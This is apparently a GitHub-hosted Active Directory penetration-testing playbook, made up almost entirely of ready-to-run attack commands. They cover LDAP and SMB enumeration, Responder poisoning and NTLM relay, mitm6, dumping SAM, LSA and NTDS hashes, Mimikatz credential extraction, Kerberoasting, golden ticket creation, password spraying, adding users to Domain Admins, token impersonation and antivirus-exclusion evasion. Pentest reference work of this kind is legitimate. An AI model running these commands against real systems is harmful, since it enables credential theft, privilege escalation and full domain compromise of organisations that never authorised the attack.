-
Notifications
You must be signed in to change notification settings - Fork 10
Active Directory Playbook
This document is meant to serve as a specialized guide to enumerating and attacking different services commonly used alongside active directory by providing tools, commands, and context.
Basic Enumeration with OS Commands:
-
net user /domain- List all domain users. -
net group /domain- List all domain groups. -
net group "Domain Admins" /domain- List members of the Domain Admins group. -
net localgroup administrators- Check for domain users in the local administrators group (look for the domain prefix, e.g.,CORP\jsmith). -
nltest /domain_trusts- Enumerate domain trusts.
Enumerate Windows SMB information.
enum4linux 10.10.132.224 -UMSP
-> Enumerates users, anonymous login, domain SID, and more. Perfect for determining a host's domain name.
See LDAP for comprehensive information and resource links.
"As a penetration tester, ignoring AD typically results in leaving a massive attack surface on the table. At the same time, organizations not implementing (or with weak) AD security also open themselves up to a plethora of attacks." 4
No credentials, see what can be pulled.
nmap -n -sV --script "ldap* and not brute" <IP>
# With Credentials
ldapdomaindump -u security.local\\<User> -p '<Password>' ldap://<IP>
# Without credentials
ldapdomaindump ldap://<IP>
# Get all users
ldapsearch -x -H ldap://<IP> -D '<Domain>\<User>' -w '<Password>' -b 'DC=security,DC=local'
# Get all users and cleanup output
ldapsearch -x -H ldap://<IP> -D '<Domain>\<User>' -w '<Password>' -b 'DC=security,DC=local' | grep userPrincipalName | sed 's/userPrincipalName: //'
# Without credentials
ldapsearch -x -H ldap://<IP> -b 'DC=security,DC=local'
ldapsearch -x -H ldap://<IP> -b 'DC=security,DC=local' | grep userPrincipalName | sed 's/userPrincipalName: //'
use auxiliary/gather/ldap_hashdump
crackmapexec ldap <IP> -u <User> -p <Password> --kdcHost <Host> --admin-count
crackmapexec ldap <IP> -u <User> -p <Password> --kdcHost <Host> --asreproast ASREPROAST
crackmapexec ldap <IP> -u <User> -p <Password> --kdcHost <Host> --groups
crackmapexec ldap'<IP> -u <User> -p <Password> --kdcHost <Host> --kerberoasting KERBEROASTING
crackmapexec ldap <IP> -u <User> -p <Password> --kdcHost <Host> --password-not-required
crackmapexec ldap <IP> -u <User> -p <Password> --kdcHost <Host> --trusted-for-delegation
crackmapexec ldap <IP> -u <User> -p <Password> --kdcHost <Host> --users
# Modules
crackmapexec ldap <IP> -u <User> -p <Password> --kdcHost <Host> -M get-desc-users
crackmapexec ldap <IP> -u <User> -p <Password> --kdcHost <Host> -M laps
crackmapexec ldap <IP> -u <User> -p <Password> --kdcHost <Host> -M ldap-signing
See Abusing Exclusions To Evade Detection _ Dazzy Ddos.pdf
sc query windefend
Query the Service Control Manager for Windows Defender
I couldn't find a list of Anti-Virus service names online :(
nxc smb <ip> -u user -p pass -M enum_av
nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sidwhoami /user- PowerShell(Requires Active Directory Module)
- Direct retrieval:
(Get-ADDomain).DomainSID.Value - From user object:
(Get-ADUser "Username").SID.AccountDomainSID
- Direct retrieval:
-
Obtain an NTLMv2 Hash via Responder:
sudo responder -I eth0 -dw- LLMNR Poisoning via
respondercaptures NTLMv2 hashes whenever any user tries accessing a machine/file/share and mistypes the IP or hostname.- Great to run when computers are logging in, like 8AM, or lunchtime.
- (Reminder) Entire Hash format required:
username::DOMAIN:string:string:string - Attempt cracking NTLMv2 hash:
hashcat -m 5600 luvrgirl.ntlmv2hashes /usr/share/wordlists/rockyou.txt
- If the hash is not crackable, move to step 2.
- LLMNR Poisoning via
-
Check for SMB signing requirements with NetExec:
nxc smb 10.0.2.0/24 --gen-relay targets.txt-
Relay to LDAP: Auto-dump domain users, groups, and computers:
ntlmrelayx.py -t ldap://DC_IP --add-computer workstation20 --delegate-access- Add user to Domain Admins or other privileged group:
ntlmrelayx.py -t ldap://DC_IP --escalate-user USERNAME
- Add user to Domain Admins or other privileged group:
-
Relay to LDAP: Auto-dump domain users, groups, and computers:
-
Dump Local Security Authority (LSA):
nxc smb 10.0.2.9 -u luvrgirl -p Password --lsa- Attempt cracking DCC2 Hashes:
.\hashcat.exe -m 2100 hash.txt rockyou.txt -O- DCC2 Hash format must be as such in file:
$DCC2$10240#administrator#c7154f935b7d1ace4c1d72bd4fb7889c
- DCC2 Hash format must be as such in file:
- Attempt cracking DCC2 Hashes:
-
Dump Security Account Manager:
nxc smb 10.0.2.9 -u luvrgirl -p Password1 --sam -
Move Laterally: with NetExec
- Password Spraying:
nxc smb 10.0.2.0/24 -u luvrgirl -p 'Password1' -
Check for Local Admin Password reuse via Hash Spraying:
nxc smb 10.0.2.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71 --local-auth
- Password Spraying:
Commonly used tools and commands
sudo responder -I eth0 -dw
Capture NTLMv2 hashes: WPAD rogue proxy server w/ DHCP broadcast request answering
If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR, MDNS and NETBIOS requests on the network.
If you cannot crack hashes gathered w/ Responder, you can relay those hashes to attempt gaining access
Steps:
- Identify hosts without SMB signing required:
nmap --script=smb2-security-mode.nse -p445 <IP range>ornxc smb 10.0.2.0/24 --gen-relay targets.txt
Relayed user credentials should be admin on machine for real value
- Ensure Responder is configured to have SMB and HTTP capturing OFF, this enables relaying:
sudo nano /etc/responder/Responder.conf - Run responder:
sudo responder -I eth0 -dw - Run ntlmrelay:
ntlmrelayx.py -tf targets.txt -smb2support- Dumps SAM/Captures NTLMv1 hashes
- Optionally, run commands directly:
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
- Optionally, run commands directly:
- Dumps SAM/Captures NTLMv1 hashes
If IPv6 is not in use in the environment, you can attack LDAP using ntlmrelayx/mitm6 combo.
- Start ntlmrelayx:
ntlmrelayx.py -6 -t ldaps://10.0.2.7 -wh wpad.lifeline.local -l lootme - Start mitm6:
sudo mitm6 -d lifeline.local
When you see ACE and ACL mentioned, you've likely compromised the DC and a custom user would then be built by MITM6.
Look for lines like Adding new user with username:
TypeName: {'ACCESS_ALLOWED_ACE'}
IdentifierAuthority:{
Value: {'\x00\x00\x00\x00\x00\x05'}
}
SubLen: {20}
SubAuthority: {'\x15\x00\x00\x00=\xc8\xc0M\xd0w7tS\xd3\x92\xe2\x07\x02\x00\x00'}
}
}
TypeName: {'ACCESS_ALLOWED_ACE'}
[*] User privileges found: Create user
[*] User privileges found: Create user
[*] User privileges found: Adding user to a privileged group (Enterprise Admins)
[*] User privileges found: Modifying domain ACL
[*] Adding new user with username: qmsgntJvqi and password: V&Vr|.3[U67`C~Y result: OK
kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o kerb-results
Enumerate Active Directory users to compile a list of valid password-spraying targets
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1
Perform a password spraying attack using the Kerbrute tool
secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5 -use-vss
Dump the NTDS Active Directory database to retrieve NTLM password hashes for all domain users for offline cracking
Import-Module ActiveDirectory |
Load the built-in Active Directory PowerShell module on a Windows host | |
|---|---|---|
Get-ADUser -Filter * | select Name |
List all domain users using the Active Directory PowerShell module Get-ADUser cmdlet and filter by the username | |
Get-DomainUser * | Select-Object samaccountname,description |
Check the description field of all domain users for sensitive data such as passwords |
See Penetration Test Playbook Uncredentialed Lateral Movement
Source: 4
REQUIRES: Active Directory domain user credentials (Active Directory username & password)
Steps:
- Update Bloodhound via APT or Pip, whichever it was installed with
- Run Neo4j:
sudo neo4j console- Ensure you're logged in
- Run Bloodhound:
sudo bloodhound - Use bloodhound-python to enumerate the active directory environment via compromised credentials:
sudo bloodhound-python -d LIFELINE.local -u mmeow -p Password1 -ns 10.0.2.7 -c all(nameserver must be domain) - Upload all JSON files created to Bloodhound's web interface. You're now ready to visualize the environment for enumeration
- HTTP:
python3 -m http.server 8080 - FTP:
python3 -m pyftpdlib -p 21
- Certutil:
certutil.exe --urlcache -f http://10.0.2.15/file.txt file.txt - Wget:
wget 10.0.2.15/file.txt
Requires compromised user account's password
- Dump SAM:
nxc smb 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --sam - Dump LSA:
nxc smb 10.0.2.9 -u luvrgirl -p Password --lsa - Dump NTDS.dit
Requires Domain Admin or Local Admin Privileges on target Domain Controller
nxc smb 192.168.1.100 -u UserName -p 'PASSWORDHERE' --ntds
nxc smb 192.168.1.100 -u UserName -p 'PASSWORDHERE' --ntds --users
nxc smb 192.168.1.100 -u UserName -p 'PASSWORDHERE' --ntds --users --enabled
nxc smb 192.168.1.100 -u UserName -p 'PASSWORDHERE' --ntds vss
This girl is known by every AV, but if you can freely run it...
Steps:
- Set privileges:
privilege::debug- Expected:
Privilege '20' OK - (Optional) Check command list:
sekurlsa
- Expected:
- Dump credentials:
sekurlsa::logonPasswords
Steps to execute within a meterpreter shell:
- Load Mimikatz:
load kiwi - Set privileges:
kiwi_cmd privilege::debug - Dump credentials:
kiwi_cmd sekurlsa::logonPasswords
If error:
ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process, you may wish to find a way to run Mimikatz.exe
Password spraying: crackmapexec smb 10.0.2.0/24 -u mmeow -d LIFELINE.local -p Password1
Check for local admin access of a given account
List Local Administrators: nxc smb 10.0.2.9 -u 'daethyra' -H 'hash' --local-auth -x 'net localgroup administrators'
Requires having Administrator/SYSTEM access
net user /add <username> <password> /domainnet group "Domain Admins" <username> /ADD /DOMAIN
You may wish to simply review Golden Diamond and Sapphire Attacks for technological details.
Fetch Service Principal Names that are associated with normal user accounts, NOT machines. User generated SPNs are based on user-created passwords, which means they're weaker, which means they can actually be cracked.
sudo GetUserSPNs.py LIFELINE.local/mmeow:Password1 -dc-ip 10.0.2.7 -request
- In my lab, this dumped out a kerberoast ticket for the SQLService account which I then cracked via Hashcat(
hashcat -m 13100 kbr.txt /usr/share/wordlists/rockyou.txt)
The following workflow requires a Meterpreter session to be followed exactly as written
Steps:
load kiwigolden_ticket_create -d LIFELINE.local -k 43460d636f269c709b20049cee36ae7a -s S-1-5-21-1304479805-1949792208-3801273171 -u daethyra -t goldenkrb.ticket
nxc ldap 10.0.2.7 -u daethyra -p Password123 --get-sid
- Running with
-kflag, as shown here, repeatedly failed to extract the SID
It may be helpful to check which user you are when first landing in a Meterpreter shell. Meterpreter shell steps:
Requires a user be logged in
load incognitolist_tokens -uimpersonate_token <domain>\\<user>
Requires double backslash to escape the character
- https://www.netexec.wiki/smb-protocol/obtaining-credentials
- https://www.netexec.wiki/ldap-protocol/find-domain-sid
- https://dazzyddos.github.io/posts/Abusing_Exclusions_To_Evade_Detection/
- https://www.hackthebox.com/blog/active-directory-penetration-testing-cheatsheet-and-guide
#windows #meterpreter #lateral-movement #persistence #mimikatz #security-account-manager #local-security-authority #sam #lsa #netexec #domain-sid #kerberos #kerberoasting #data-exfiltration #post-exploitation #recon #uncredentialed-access #credentialed-access #metasploit